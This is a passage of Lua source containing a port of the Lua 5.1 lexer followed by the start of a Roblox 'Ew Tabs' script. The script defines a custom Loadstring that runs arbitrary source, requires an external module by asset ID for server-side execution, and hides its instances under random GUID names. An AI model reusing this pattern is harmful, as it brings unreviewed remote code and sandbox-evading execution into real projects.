4604----------------------------------------------------------------------]]
4605
4606--[[--------------------------------------------------------------------
4607-- Notes:
4608-- * intended to 'imitate' llex.c code; performance is not a concern
4609-- * tokens are strings; code structure largely retained
4610-- * deleted stuff (compared to llex.c) are noted, comments retained
4611-- * nextc() returns the currently read character to simplify coding
4612-- here; next() in llex.c does not return anything
4613-- * compatibility code is marked with "--#" comments
4614--
4615-- Added:
4616-- * luaX:chunkid (function luaO_chunkid from lobject.c)
4617-- * luaX:str2d (function luaO_str2d from lobject.c)
4618-- * luaX.LUA_QS used in luaX:lexerror (from luaconf.h)
4619-- * luaX.LUA_COMPAT_LSTR in luaX:read_long_string (from luaconf.h)
4620-- * luaX.MAX_INT used in luaX:inclinenumber (from llimits.h)
4621--
4622-- To use the lexer:
4623-- (1) luaX:init() to initialize the lexer
4624-- (2) luaX:setinput() to set the input stream to lex
4625-- (3) call luaX:next() or luaX:luaX:lookahead() to get tokens,
4626-- until "TK_EOS": luaX:next()
4627-- * since EOZ is returned as a string, be careful when regexp testing
4628--
4629-- Not implemented:
4630-- * luaX_newstring: not required by this Lua implementation
4631-- * buffer MAX_SIZET size limit (from llimits.h) test not implemented
4632-- in the interest of performance
4633-- * locale-aware number handling is largely redundant as Lua's
4634-- tonumber() function is already capable of this
4635--
4636-- Changed in 5.1.x:
4637-- * TK_NAME token order moved down
4638-- * string representation for TK_NAME, TK_NUMBER, TK_STRING changed
4639-- * token struct renamed to lower case (LS -> ls)
4640-- * LexState struct: removed nestlevel, added decpoint
4641-- * error message functions have been greatly simplified
4642-- * token2string renamed to luaX_tokens, exposed in llex.h
4643-- * lexer now handles all kinds of newlines, including CRLF
4644-- * shbang first line handling removed from luaX:setinput;
4645-- it is now done in lauxlib.c (luaL_loadfile)
4646-- * next(ls) macro renamed to nextc(ls) due to new luaX_next function
4647-- * EXTRABUFF and MAXNOCHECK removed due to lexer changes
4648-- * checkbuffer(ls, len) macro deleted
4649-- * luaX:read_numeral now has 3 support functions: luaX:trydecpoint,
4650-- luaX:buffreplace and (luaO_str2d from lobject.c) luaX:str2d
4651-- * luaX:read_numeral is now more promiscuous in slurping characters;
4652-- hexadecimal numbers was added, locale-aware decimal points too
4653-- * luaX:skip_sep is new; used by luaX:read_long_string
4654-- * luaX:read_long_string handles new-style long blocks, with some
4655-- optional compatibility code
4656-- * luaX:llex: parts changed to support new-style long blocks
4657-- * luaX:llex: readname functionality has been folded in
4658-- * luaX:llex: removed test for control characters
4659--
4660--------------------------------------------------------------------]]
4661
4662luaX = {}
4663
4664-- FIRST_RESERVED is not required as tokens are manipulated as strings
4665-- TOKEN_LEN deleted; maximum length of a reserved word not needed
4666
4667------------------------------------------------------------------------
4668-- "ORDER RESERVED" deleted; enumeration in one place: luaX.RESERVED
4669------------------------------------------------------------------------
4670
4671-- terminal symbols denoted by reserved words: TK_AND to TK_WHILE
4672-- other terminal symbols: TK_NAME to TK_EOS
4673luaX.RESERVED = [[
4674TK_AND and
4675TK_BREAK break
4676TK_DO do
4677TK_ELSE else
4678TK_ELSEIF elseif
4679TK_END end
4680TK_FALSE false
4681TK_FOR for
4682TK_FUNCTION function
4683TK_IF if
4684TK_IN in
4685TK_LOCAL local
4686TK_NIL nil
4687TK_NOT not
4688TK_OR or
4689TK_REPEAT repeat
4690TK_RETURN return
4691TK_THEN then
4692TK_TRUE true
4693TK_UNTIL until
4694TK_WHILE while
4695TK_CONCAT ..
4696TK_DOTS ...
4697TK_EQ ==
4698TK_GE >=
4699TK_LE <=
4700TK_NE ~=
4701TK_NAME <name>
4702TK_NUMBER <number>
4703TK_STRING <string>
4704TK_EOS <eof>]]
4705
4706-- NUM_RESERVED is not required; number of reserved words
4707
4708--[[--------------------------------------------------------------------
4709-- Instead of passing seminfo, the Token struct (e.g. ls.t) is passed
4710-- so that lexer functions can use its table element, ls.t.seminfo
4711--
4712-- SemInfo (struct no longer needed, a mixed-type value is used)
4713--
4714-- Token (struct of ls.t and ls.lookahead):
4715-- token -- token symbol
4716-- seminfo -- semantics information
4717--
4718-- LexState (struct of ls; ls is initialized by luaX:setinput):
4719-- current -- current character (charint)
4720-- linenumber -- input line counter
4721-- lastline -- line of last token 'consumed'
4722-- t -- current token (table: struct Token)
4723-- lookahead -- look ahead token (table: struct Token)
4724-- fs -- 'FuncState' is private to the parser
4725-- L -- LuaState
4726-- z -- input stream
4727-- buff -- buffer for tokens
4728-- source -- current source name
4729-- decpoint -- locale decimal point
4730-- nestlevel -- level of nested non-terminals
4731----------------------------------------------------------------------]]
4732
4733-- luaX.tokens (was luaX_tokens) is now a hash; see luaX:init
4734
4735luaX.MAXSRC = 80
4736luaX.MAX_INT = 2147483645 -- constants from elsewhere (see above)
4737luaX.LUA_QS = "'%s'"
4738luaX.LUA_COMPAT_LSTR = 1
4739--luaX.MAX_SIZET = 4294967293
4740
4741------------------------------------------------------------------------
4742-- initialize lexer
4743-- * original luaX_init has code to create and register token strings
4744-- * luaX.tokens: TK_* -> token
4745-- * luaX.enums: token -> TK_* (used in luaX:llex)
4746------------------------------------------------------------------------
4747function luaX:init()
4748 local tokens, enums = {}, {}
4749 for v in string.gmatch(self.RESERVED, "[^\n]+") do
4750 local _, _, tok, str = string.find(v, "(%S+)%s+(%S+)")
4751 tokens[tok] = str
4752 enums[str] = tok
4753 end
4754 self.tokens = tokens
4755 self.enums = enums
4756end
4757
4758------------------------------------------------------------------------
4759-- returns a suitably-formatted chunk name or id
4760-- * from lobject.c, used in llex.c and ldebug.c
4761-- * the result, out, is returned (was first argument)
4762------------------------------------------------------------------------
4763function luaX:chunkid(source, bufflen)
4764 local out
4765 local first = string.sub(source, 1, 1)
4766 if first == "=" then
4767 out = string.sub(source, 2, bufflen) -- remove first char
4768 else -- out = "source", or "...source"
4769 if first == "@" then
4770 source = string.sub(source, 2) -- skip the '@'
4771 bufflen = bufflen - #" '...' "
4772 local l = #source
4773 out = ""
4774 if l > bufflen then
4775 source = string.sub(source, 1 + l - bufflen) -- get last part of file name
4776 out = out.."..."
4777 end
4778 out = out..source
4779 else -- out = [string "string"]
4780 local len = string.find(source, "[\n\r]") -- stop at first newline
4781 len = len and (len - 1) or #source
4782 bufflen = bufflen - #(" [string \"...\"] ")
4783 if len > bufflen then len = bufflen end
4784 out = "[string \""
4785 if len < #source then -- must truncate?
4786 out = out..string.sub(source, 1, len).."..."
4787 else
4788 out = out..source
4789 end
4790 out = out.."\"]"
4791 end
4792 end
4793 return out
4794end
4795
4796--[[--------------------------------------------------------------------
4797-- Support functions for lexer
4798-- * all lexer errors eventually reaches lexerror:
4799 syntaxerror -> lexerror
4800----------------------------------------------------------------------]]
4801
4802------------------------------------------------------------------------
4803-- look up token and return keyword if found (also called by parser)
4804------------------------------------------------------------------------
4805function luaX:token2str(ls, token)
4806 if string.sub(token, 1, 3) ~= "TK_" then
4807 if string.find(token, "%c") then
4808 return string.format("char(%d)", string.byte(token))
4809 end
4810 return token
4811 else
4812 end
4813 return self.tokens[token]
4814end
4815
4816------------------------------------------------------------------------
4817-- throws a lexer error
4818-- * txtToken has been made local to luaX:lexerror
4819-- * can't communicate LUA_ERRSYNTAX, so it is unimplemented
4820------------------------------------------------------------------------
4821function luaX:lexerror(ls, msg, token)
4822 local function txtToken(ls, token)
4823 if token == "TK_NAME" or
4824 token == "TK_STRING" or
4825 token == "TK_NUMBER" then
4826 return ls.buff
4827 else
4828 return self:token2str(ls, token)
4829 end
4830 end
4831 local buff = self:chunkid(ls.source, self.MAXSRC)
4832 local msg = string.format("%s:%d: %s", buff, ls.linenumber, msg)
4833 if token then
4834 msg = string.format("%s near "..self.LUA_QS, msg, txtToken(ls, token))
4835 end
4836 -- luaD_throw(ls->L, LUA_ERRSYNTAX)
4837 error(msg)
4838end
4839
4840------------------------------------------------------------------------
4841-- throws a syntax error (mainly called by parser)
4842-- * ls.t.token has to be set by the function calling luaX:llex
4843-- (see luaX:next and luaX:lookahead elsewhere in this file)
4844------------------------------------------------------------------------
4845function luaX:syntaxerror(ls, msg)
4846 self:lexerror(ls, msg, ls.t.token)
4847end
4848
4849------------------------------------------------------------------------
4850-- move on to next line
4851------------------------------------------------------------------------
4852function luaX:currIsNewline(ls)
4853 return ls.current == "\n" or ls.current == "\r"
4854end
4855
4856function luaX:inclinenumber(ls)
4857 local old = ls.current
4858 -- lua_assert(currIsNewline(ls))
4859 self:nextc(ls) -- skip '\n' or '\r'
4860 if self:currIsNewline(ls) and ls.current ~= old then
4861 self:nextc(ls) -- skip '\n\r' or '\r\n'
4862 end
4863 ls.linenumber = ls.linenumber + 1
4864 if ls.linenumber >= self.MAX_INT then
4865 self:syntaxerror(ls, "chunk has too many lines")
4866 end
4867end
4868
4869------------------------------------------------------------------------
4870-- initializes an input stream for lexing
4871-- * if ls (the lexer state) is passed as a table, then it is filled in,
4872-- otherwise it has to be retrieved as a return value
4873-- * LUA_MINBUFFER not used; buffer handling not required any more
4874------------------------------------------------------------------------
4875function luaX:setinput(L, ls, z, source)
4876 if not ls then ls = {} end -- create struct
4877 if not ls.lookahead then ls.lookahead = {} end
4878 if not ls.t then ls.t = {} end
4879 ls.decpoint = "."
4880 ls.L = L
4881 ls.lookahead.token = "TK_EOS" -- no look-ahead token
4882 ls.z = z
4883 ls.fs = nil
4884 ls.linenumber = 1
4885 ls.lastline = 1
4886 ls.source = source
4887 self:nextc(ls) -- read first char
4888end
4889
4890--[[--------------------------------------------------------------------
4891-- LEXICAL ANALYZER
4892----------------------------------------------------------------------]]
4893
4894------------------------------------------------------------------------
4895-- checks if current character read is found in the set 'set'
4896------------------------------------------------------------------------
4897function luaX:check_next(ls, set)
4898 if not string.find(set, ls.current, 1, 1) then
4899 return false
4900 end
4901 self:save_and_next(ls)
4902 return true
4903end
4904
4905------------------------------------------------------------------------
4906-- retrieve next token, checking the lookahead buffer if necessary
4907-- * note that the macro next(ls) in llex.c is now luaX:nextc
4908-- * utilized used in lparser.c (various places)
4909------------------------------------------------------------------------
4910function luaX:next(ls)
4911 ls.lastline = ls.linenumber
4912 if ls.lookahead.token ~= "TK_EOS" then -- is there a look-ahead token?
4913 -- this must be copy-by-value
4914 ls.t.seminfo = ls.lookahead.seminfo -- use this one
4915 ls.t.token = ls.lookahead.token
4916 ls.lookahead.token = "TK_EOS" -- and discharge it
4917 else
4918 ls.t.token = self:llex(ls, ls.t) -- read next token
4919 end
4920end
4921
4922------------------------------------------------------------------------
4923-- fill in the lookahead buffer
4924-- * utilized used in lparser.c:constructor
4925------------------------------------------------------------------------
4926function luaX:lookahead(ls)
4927 -- lua_assert(ls.lookahead.token == "TK_EOS")
4928 ls.lookahead.token = self:llex(ls, ls.lookahead)
4929end
4930
4931------------------------------------------------------------------------
4932-- gets the next character and returns it
4933-- * this is the next() macro in llex.c; see notes at the beginning
4934------------------------------------------------------------------------
4935function luaX:nextc(ls)
4936 local c = luaZ:zgetc(ls.z)
4937 ls.current = c
4938 return c
4939end
4940
4941------------------------------------------------------------------------
4942-- saves the given character into the token buffer
4943-- * buffer handling code removed, not used in this implementation
4944-- * test for maximum token buffer length not used, makes things faster
4945------------------------------------------------------------------------
4946
4947function luaX:save(ls, c)
4948 local buff = ls.buff
4949 -- if you want to use this, please uncomment luaX.MAX_SIZET further up
4950 --if #buff > self.MAX_SIZET then
4951 -- self:lexerror(ls, "lexical element too long")
4952 --end
4953 ls.buff = buff..c
4954end
4955
4956------------------------------------------------------------------------
4957-- save current character into token buffer, grabs next character
4958-- * like luaX:nextc, returns the character read for convenience
4959------------------------------------------------------------------------
4960function luaX:save_and_next(ls)
4961 self:save(ls, ls.current)
4962 return self:nextc(ls)
4963end
4964
4965------------------------------------------------------------------------
4966-- LUA_NUMBER
4967-- * luaX:read_numeral is the main lexer function to read a number
4968-- * luaX:str2d, luaX:buffreplace, luaX:trydecpoint are support functions
4969------------------------------------------------------------------------
4970
4971------------------------------------------------------------------------
4972-- string to number converter (was luaO_str2d from lobject.c)
4973-- * returns the number, nil if fails (originally returns a boolean)
4974-- * conversion function originally lua_str2number(s,p), a macro which
4975-- maps to the strtod() function by default (from luaconf.h)
4976------------------------------------------------------------------------
4977function luaX:str2d(s)
4978 local result = tonumber(s)
4979 if result then return result end
4980 -- conversion failed
4981 if string.lower(string.sub(s, 1, 2)) == "0x" then -- maybe an hexadecimal constant?
4982 result = tonumber(s, 16)
4983 if result then return result end -- most common case
4984 -- Was: invalid trailing characters?
4985 -- In C, this function then skips over trailing spaces.
4986 -- true is returned if nothing else is found except for spaces.
4987 -- If there is still something else, then it returns a false.
4988 -- All this is not necessary using Lua's tonumber.
4989 end
4990 return nil
4991end
4992
4993------------------------------------------------------------------------
4994-- single-character replacement, for locale-aware decimal points
4995------------------------------------------------------------------------
4996function luaX:buffreplace(ls, from, to)
4997 local result, buff = "", ls.buff
4998 for p = 1, #buff do
4999 local c = string.sub(buff, p, p)
5000 if c == from then c = to end
5001 result = result..c
5002 end
5003 ls.buff = result
5004end
5005
5006------------------------------------------------------------------------
5007-- Attempt to convert a number by translating '.' decimal points to
5008-- the decimal point character used by the current locale. This is not
5009-- needed in Yueliang as Lua's tonumber() is already locale-aware.
5010-- Instead, the code is here in case the user implements localeconv().
5011------------------------------------------------------------------------
5012function luaX:trydecpoint(ls, Token)
5013 -- format error: try to update decimal point separator
5014 local old = ls.decpoint
5015 -- translate the following to Lua if you implement localeconv():
5016 -- struct lconv *cv = localeconv();
5017 -- ls->decpoint = (cv ? cv->decimal_point[0] : '.');
5018 self:buffreplace(ls, old, ls.decpoint) -- try updated decimal separator
5019 local seminfo = self:str2d(ls.buff)
5020 Token.seminfo = seminfo
5021 if not seminfo then
5022 -- format error with correct decimal point: no more options
5023 self:buffreplace(ls, ls.decpoint, ".") -- undo change (for error message)
5024 self:lexerror(ls, "malformed number", "TK_NUMBER")
5025 end
5026end
5027
5028------------------------------------------------------------------------
5029-- main number conversion function
5030-- * "^%w$" needed in the scan in order to detect "EOZ"
5031------------------------------------------------------------------------
5032function luaX:read_numeral(ls, Token)
5033 -- lua_assert(string.find(ls.current, "%d"))
5034 repeat
5035 self:save_and_next(ls)
5036 until string.find(ls.current, "%D") and ls.current ~= "."
5037 if self:check_next(ls, "Ee") then -- 'E'?
5038 self:check_next(ls, "+-") -- optional exponent sign
5039 end
5040 while string.find(ls.current, "^%w$") or ls.current == "_" do
5041 self:save_and_next(ls)
5042 end
5043 self:buffreplace(ls, ".", ls.decpoint) -- follow locale for decimal point
5044 local seminfo = self:str2d(ls.buff)
5045 Token.seminfo = seminfo
5046 if not seminfo then -- format error?
5047 self:trydecpoint(ls, Token) -- try to update decimal point separator
5048 end
5049end
5050
5051------------------------------------------------------------------------
5052-- count separators ("=") in a long string delimiter
5053-- * used by luaX:read_long_string
5054------------------------------------------------------------------------
5055function luaX:skip_sep(ls)
5056 local count = 0
5057 local s = ls.current
5058 -- lua_assert(s == "[" or s == "]")
5059 self:save_and_next(ls)
5060 while ls.current == "=" do
5061 self:save_and_next(ls)
5062 count = count + 1
5063 end
5064 return (ls.current == s) and count or (-count) - 1
5065end
5066
5067------------------------------------------------------------------------
5068-- reads a long string or long comment
5069------------------------------------------------------------------------
5070function luaX:read_long_string(ls, Token, sep)
5071 local cont = 0
5072 self:save_and_next(ls) -- skip 2nd '['
5073 if self:currIsNewline(ls) then -- string starts with a newline?
5074 self:inclinenumber(ls) -- skip it
5075 end
5076 while true do
5077 local c = ls.current
5078 if c == "EOZ" then
5079 self:lexerror(ls, Token and "unfinished long string" or
5080 "unfinished long comment", "TK_EOS")
5081 elseif c == "[" then
5082 --# compatibility code start
5083 if self.LUA_COMPAT_LSTR then
5084 if self:skip_sep(ls) == sep then
5085 self:save_and_next(ls) -- skip 2nd '['
5086 cont = cont + 1
5087 --# compatibility code start
5088 if self.LUA_COMPAT_LSTR == 1 then
5089 if sep == 0 then
5090 self:lexerror(ls, "nesting of [[...]] is deprecated", "[")
5091 end
5092 end
5093 --# compatibility code end
5094 end
5095 end
5096 --# compatibility code end
5097 elseif c == "]" then
5098 if self:skip_sep(ls) == sep then
5099 self:save_and_next(ls) -- skip 2nd ']'
5100 --# compatibility code start
5101 if self.LUA_COMPAT_LSTR and self.LUA_COMPAT_LSTR == 2 then
5102 cont = cont - 1
5103 if sep == 0 and cont >= 0 then break end
5104 end
5105 --# compatibility code end
5106 break
5107 end
5108 elseif self:currIsNewline(ls) then
5109 self:save(ls, "\n")
5110 self:inclinenumber(ls)
5111 if not Token then ls.buff = "" end -- avoid wasting space
5112 else -- default
5113 if Token then
5114 self:save_and_next(ls)
5115 else
5116 self:nextc(ls)
5117 end
5118 end--if c
5119 end--while
5120 if Token then
5121 local p = 3 + sep
5122 Token.seminfo = string.sub(ls.buff, p, -p)
5123 end
5124end
5125
5126------------------------------------------------------------------------
5127-- reads a string
5128-- * has been restructured significantly compared to the original C code
5129------------------------------------------------------------------------
5130
5131function luaX:read_string(ls, del, Token)
5132 self:save_and_next(ls)
5133 while ls.current ~= del do
5134 local c = ls.current
5135 if c == "EOZ" then
5136 self:lexerror(ls, "unfinished string", "TK_EOS")
5137 elseif self:currIsNewline(ls) then
5138 self:lexerror(ls, "unfinished string", "TK_STRING")
5139 elseif c == "\\" then
5140 c = self:nextc(ls) -- do not save the '\'
5141 if self:currIsNewline(ls) then -- go through
5142 self:save(ls, "\n")
5143 self:inclinenumber(ls)
5144 elseif c ~= "EOZ" then -- will raise an error next loop
5145 -- escapes handling greatly simplified here:
5146 local i = string.find("abfnrtv", c, 1, 1)
5147 if i then
5148 self:save(ls, string.sub("\a\b\f\n\r\t\v", i, i))
5149 self:nextc(ls)
5150 elseif not string.find(c, "%d") then
5151 self:save_and_next(ls) -- handles \\, \", \', and \?
5152 else -- \xxx
5153 c, i = 0, 0
5154 repeat
5155 c = 10 * c + ls.current
5156 self:nextc(ls)
5157 i = i + 1
5158 until i >= 3 or not string.find(ls.current, "%d")
5159 if c > 255 then -- UCHAR_MAX
5160 self:lexerror(ls, "escape sequence too large", "TK_STRING")
5161 end
5162 self:save(ls, string.char(c))
5163 end
5164 end
5165 else
5166 self:save_and_next(ls)
5167 end--if c
5168 end--while
5169 self:save_and_next(ls) -- skip delimiter
5170 Token.seminfo = string.sub(ls.buff, 2, -2)
5171end
5172
5173------------------------------------------------------------------------
5174-- main lexer function
5175------------------------------------------------------------------------
5176function luaX:llex(ls, Token)
5177 ls.buff = ""
5178 while true do
5179 local c = ls.current
5180 ----------------------------------------------------------------
5181 if self:currIsNewline(ls) then
5182 self:inclinenumber(ls)
5183 ----------------------------------------------------------------
5184 elseif c == "-" then
5185 c = self:nextc(ls)
5186 if c ~= "-" then return "-" end
5187 -- else is a comment
5188 local sep = -1
5189 if self:nextc(ls) == '[' then
5190 sep = self:skip_sep(ls)
5191 ls.buff = "" -- 'skip_sep' may dirty the buffer
5192 end
5193 if sep >= 0 then
5194 self:read_long_string(ls, nil, sep) -- long comment
5195 ls.buff = ""
5196 else -- else short comment
5197 while not self:currIsNewline(ls) and ls.current ~= "EOZ" do
5198 self:nextc(ls)
5199 end
5200 end
5201 ----------------------------------------------------------------
5202 elseif c == "[" then
5203 local sep = self:skip_sep(ls)
5204 if sep >= 0 then
5205 self:read_long_string(ls, Token, sep)
5206 return "TK_STRING"
5207 elseif sep == -1 then
5208 return "["
5209 else
5210 self:lexerror(ls, "invalid long string delimiter", "TK_STRING")
5211 end
5212 ----------------------------------------------------------------
5213 elseif c == "=" then
5214 c = self:nextc(ls)
5215 if c ~= "=" then return "="
5216 else self:nextc(ls); return "TK_EQ" end
5217 ----------------------------------------------------------------
5218 elseif c == "<" then
5219 c = self:nextc(ls)
5220 if c ~= "=" then return "<"
5221 else self:nextc(ls); return "TK_LE" end
5222 ----------------------------------------------------------------
5223 elseif c == ">" then
5224 c = self:nextc(ls)
5225 if c ~= "=" then return ">"
5226 else self:nextc(ls); return "TK_GE" end
5227 ----------------------------------------------------------------
5228 elseif c == "~" then
5229 c = self:nextc(ls)
5230 if c ~= "=" then return "~"
5231 else self:nextc(ls); return "TK_NE" end
5232 ----------------------------------------------------------------
5233 elseif c == "\"" or c == "'" then
5234 self:read_string(ls, c, Token)
5235 return "TK_STRING"
5236 ----------------------------------------------------------------
5237 elseif c == "." then
5238 c = self:save_and_next(ls)
5239 if self:check_next(ls, ".") then
5240 if self:check_next(ls, ".") then
5241 return "TK_DOTS" -- ...
5242 else return "TK_CONCAT" -- ..
5243 end
5244 elseif not string.find(c, "%d") then
5245 return "."
5246 else
5247 self:read_numeral(ls, Token)
5248 return "TK_NUMBER"
5249 end
5250 ----------------------------------------------------------------
5251 elseif c == "EOZ" then
5252 return "TK_EOS"
5253 ----------------------------------------------------------------
5254 else -- default
5255 if string.find(c, "%s") then
5256 -- lua_assert(self:currIsNewline(ls))
5257 self:nextc(ls)
5258 elseif string.find(c, "%d") then
5259 self:read_numeral(ls, Token)
5260 return "TK_NUMBER"
5261 elseif string.find(c, "[_%a]") then
5262 -- identifier or reserved word
5263 repeat
5264 c = self:save_and_next(ls)
5265 until c == "EOZ" or not string.find(c, "[_%w]")
5266 local ts = ls.buff
5267 local tok = self.enums[ts]
5268 if tok then return tok end -- reserved word?
5269 Token.seminfo = ts
5270 return "TK_NAME"
5271 else
5272 self:nextc(ls)
5273 return c -- single-char tokens (+ - / ...)
5274 end
5275 ----------------------------------------------------------------
5276 end--if c
5277 end--while
5278end
5279
5280--[[
5281 Credit to einsteinK.
5282 Credit to Stravant for LBI.
5283
5284 Credit to the creators of all the other modules used in this.
5285
5286 Sceleratis was here and decided modify some things.
5287
5288 einsteinK was here again to fix a bug in LBI for if-statements
5289--]]
5290
5291--[[local waitDeps = {
5292 'LBI';
5293 'LuaK';
5294 'LuaP';
5295 'LuaU';
5296 'LuaX';
5297 'LuaY';
5298 'LuaZ';
5299}
5300
5301for i,v in pairs(waitDeps) do script:WaitForChild(v) end
5302
5303local luaX = require(script.LuaX)
5304local luaY = require(script.LuaY)
5305local luaZ = require(script.LuaZ)
5306local luaU = require(script.LuaU)
5307local lbi = require(script.LBI)]]
5308
5309luaX:init()
5310local LuaState = {}
5311
5312function Loadstring(str,env)
5313 local f,writer,buff
5314 local ran,error=pcall(function()
5315 local zio = luaZ:init(luaZ:make_getS(str), nil)
5316 if not zio then return error() end
5317 local func = luaY:parser(LuaState, zio, nil, "@input")
5318 writer, buff = luaU:make_setS()
5319 luaU:dump(LuaState, func, writer, buff)
5320 f = lbi.load_bytecode(buff.data)
5321 if env then
5322 setfenv(f,env)
5323 else
5324 local env=getfenv()
5325 env.script=nil
5326 setfenv(f,env)
5327 end
5328 end)
5329 if ran then
5330 return f,buff.data
5331 else
5332 return nil,error
5333 end
5334end
5335
5336
5337
5338
5339
5340
5341
5342
5343
5344--\\ Loadstring
5345--// Ew tabs
5346
5347function GetTimeAtTick(Tick)
5348 local hour = math.floor((Tick%86400)/60/60)
5349 local min = math.floor(((Tick%86400)/60/60-hour)*60)
5350 if min < 10 then min = "0"..min end
5351 return hour..":"..min
5352end
5353function GetTime()
5354 return GetTimeAtTick(tick())
5355end
5356
5357local SeverStarted = tick() - time()
5358local ServerStartTime = GetTimeAtTick(SeverStarted)
5359
5360local Prefix = "/"
5361local CmdSeperator = "|"
5362local ArgSeperator = ","
5363
5364local Events = {}
5365function AE(Event)
5366 table.insert(Events,Event)
5367 return Event
5368end
5369
5370local KillTable = {}
5371
5372local Version = "1.0.0 [ALPHA]"
5373local ServerSide = game:GetService("RunService"):IsServer()
5374
5375local Players = game:GetService("Players")
5376local Workspace = game:GetService("Workspace")
5377local Debris = game:GetService("Debris")
5378local TweenService = game:GetService("TweenService")
5379local Teams = game:GetService("Teams")
5380local RunService = game:GetService("RunService")
5381local HttpService = game:GetService("HttpService")
5382local Terrain = Workspace:WaitForChild("Terrain")
5383local Camera = Workspace.CurrentCamera
5384local UIS = game:GetService("UserInputService")
5385
5386local DismissTab = nil
5387
5388local FrameRate = 60
5389local FPS = FrameRate
5390
5391_G.EwTabsUser = Players:WaitForChild("ew_001")
5392if _G.EwTabsUser == nil and owner ~= nil then
5393 _G.EwTabsUser = owner
5394end
5395local Player = ServerSide and _G.EwTabsUser or Players.LocalPlayer
5396if not Players then return error("Ew Tabs cannot run without a player!") end
5397
5398local CharPosition = Vector3.new(0,0,0)
5399local Character = nil
5400local Root = nil
5401local Head = nil
5402local Humanoid = nil
5403
5404local Tabs = {}
5405local TabFolder = nil
5406local TabFolderParent = ServerSide and Terrain or Camera
5407local TabFolderName = ""
5408local Sine = 0
5409
5410local Colors = {
5411 ["Default"] = Color3.fromRGB(75,255,75);
5412 ["Control"] = Color3.fromRGB(255,125,30);
5413 ["Loading"] = Color3.fromRGB(25,75,255);
5414 ["Warning"] = Color3.fromRGB(255,125,30);
5415 ["Info"] = Color3.fromRGB(25,75,255);
5416 ["Back"] = Color3.fromRGB(25,75,255);
5417 ["Error"] = Color3.fromRGB(255,75,75);
5418 ["Dismiss"] = Color3.fromRGB(255,75,75);
5419}
5420
5421local ServerSideLocalExecute
5422pcall(function()
5423 if ServerSide then
5424 ServerSideLocalExecute = require(6974330162)
5425 end
5426end)
5427if ServerSide then
5428 if ServerSideLocalExecute == nil and NLS == nil then
5429 CreateTab({
5430 Text = "Unable to require server local execute module. You wont be able to run local sources on server.";
5431 Color = Colors["Warning"];
5432 })
5433 end
5434end
5435
5436function NewLocalScript(Source)
5437 local Loading = CreateTab({
5438 Text = "Executing source locally...";
5439 Color = Colors["Loading"];
5440 },3)
5441
5442 if ServerSide then
5443 if NLS ~= nil then
5444 NLS(Source,Player:FindFirstChild("PlayerGui") or Player:FindFirstChild("Backpack") or Player.Character)
5445 CreateTab({
5446 Text = "Executed local source.";
5447 },3)
5448 else
5449 if ServerSideLocalExecute ~= nil then
5450 ServerSideLocalExecute(Source,Player)
5451 CreateTab({
5452 Text = "Executed local source.";
5453 },3)
5454 else
5455 CreateTab({
5456 Text = "Unable to execute source locally.";
5457 Color = Colors["Error"];
5458 },5)
5459 end
5460 end
5461 else
5462 Loadstring(Source)()
5463 CreateTab({
5464 Text = "Executed local source.";
5465 },3)
5466 end
5467end
5468
5469function ProtectInstance(Ins)
5470 Ins.Name = tostring(HttpService:GenerateGUID(true))
5471 Ins.Parent = TabFolderParent
5472
5473 return Ins
5474end
5475
5476function SetupTabs()
5477 if TabFolder ~= nil then
5478 TabFolder:Destroy()
5479 end
5480 TabFolder = ProtectInstance(Instance.new("Folder"))
5481 TabFolderName = TabFolder.Name
5482end
5483
5484function GetTabFromData(Data)
5485 return Data.Tab
5486end
5487function GetDataFromTab(Tab)
5488 for _,Cur in pairs(Tabs) do
5489 if not Cur then continue end
5490 if not Cur.Tab then continue end
5491 if Cur.Tab.Name == Tab.Name then
5492 return Cur
5493 end
5494 end
5495
5496 return nil
5497end
5498
5499function CloseAnimateTab(Tab,Data)
5500 local NewTab = CreateTabInstance()
5501 SetTabPropertiesFromData(NewTab,Data)
5502 NewTab.Parent = Character
5503 NewTab.CFrame = Tab.CFrame
5504
5505 local TI = TweenInfo.new(0.5, Enum.EasingStyle.Sine, Enum.EasingDirection.In, 0)
5506 local Goal = {
5507 Position = CharPosition;
5508 Transparency = 1;
5509 }
5510 local Animation = TweenService:Create(NewTab, TI, Goal)
5511 Animation:Play()
5512
5513 Debris:AddItem(NewTab,1)
5514end
5515
5516function DeleteTab(Tab,Update)
5517 if typeof(Tab) == "table" then
5518 Tab = GetTabFromData(Tab)
5519 end
5520 local Data = GetDataFromTab(Tab)
5521 if not Data then return end
5522
5523 local DataClone = {}
5524 for n,v in pairs(Data) do
5525 DataClone[n] = v
5526 end
5527
5528 CloseAnimateTab(Tab,DataClone)
5529
5530 Tab:Destroy()
5531 table.remove(Tabs,Data.Index)
5532 if Update ~= false then
5533 UpdateIndex()
5534 UpdateTabs()
5535 end
5536end
5537
5538function DeleteAllTabs()
5539 for _,Tab in pairs(TabFolder:GetChildren()) do
5540 local Data = GetDataFromTab(Tab)
5541 if Data then
5542 local DataClone = {}
5543 for n,v in pairs(Data) do
5544 DataClone[n] = v
5545 end
5546 CloseAnimateTab(Tab,DataClone)
5547 end
5548 end
5549 Tabs = {}
5550 DismissTab = nil
5551 TabFolder:ClearAllChildren()
5552end
5553
5554function CreateTab(Data,Time)
5555 if not Data then Data = {} end
5556 if not Data.Text then Data.Text = "" end
5557 if not Data.Color then Data.Color = Colors["Default"] end
5558 if not Data.Index then Data.Index = #Tabs+1 end
5559 if not Data.Call then Data.Call = nil end
5560
5561 table.insert(Tabs,Data.Index,{
5562 Index = Data.Index;
5563 Text = Data.Text;
5564 Color = Data.Color;
5565 CFrame = nil;
5566 Tab = nil;
5567 Created = time();
5568 Time = Time;
5569 Call = Data.Call;
5570 })
5571
5572 return Tabs[Data.Index]
5573end
5574
5575function CreateTabInstance()
5576 return Instance.new("Part")
5577end
5578
5579function UpdateIndex()
5580 for Index,Data in pairs(Tabs) do
5581 pcall(function()
5582 local Tab = GetTabFromData(Data)
5583 Data.Index = Index
5584 if Tab then
5585 Tab.Name = tostring(Index)
5586 end
5587 end)
5588 end
5589end
5590
5591function SetTabPropertiesFromData(Tab,Data)
5592 if not Data then Data = {} end
5593 if not Data.Text then Data.Text = "" end
5594 if not Data.Color then Data.Color = Colors["Default"] end
5595 if not Data.Index then Data.Index = #Tabs+1 end
5596 if not Data.Call then Data.Call = nil end
5597
5598 Tab.Anchored = true
5599 Tab.CanCollide = false
5600 Tab.Size = Vector3.new(2,3,0.1)
5601 Tab.Material = Enum.Material.Neon
5602 Tab.Color = Data.Color
5603 Tab.Transparency = 0.75
5604 Tab.Name = tostring(Data.Index)
5605
5606 return Tab
5607end
5608
5609function UpdateTabs(Multiply)
5610 if not Multiply then Multiply = 1 end
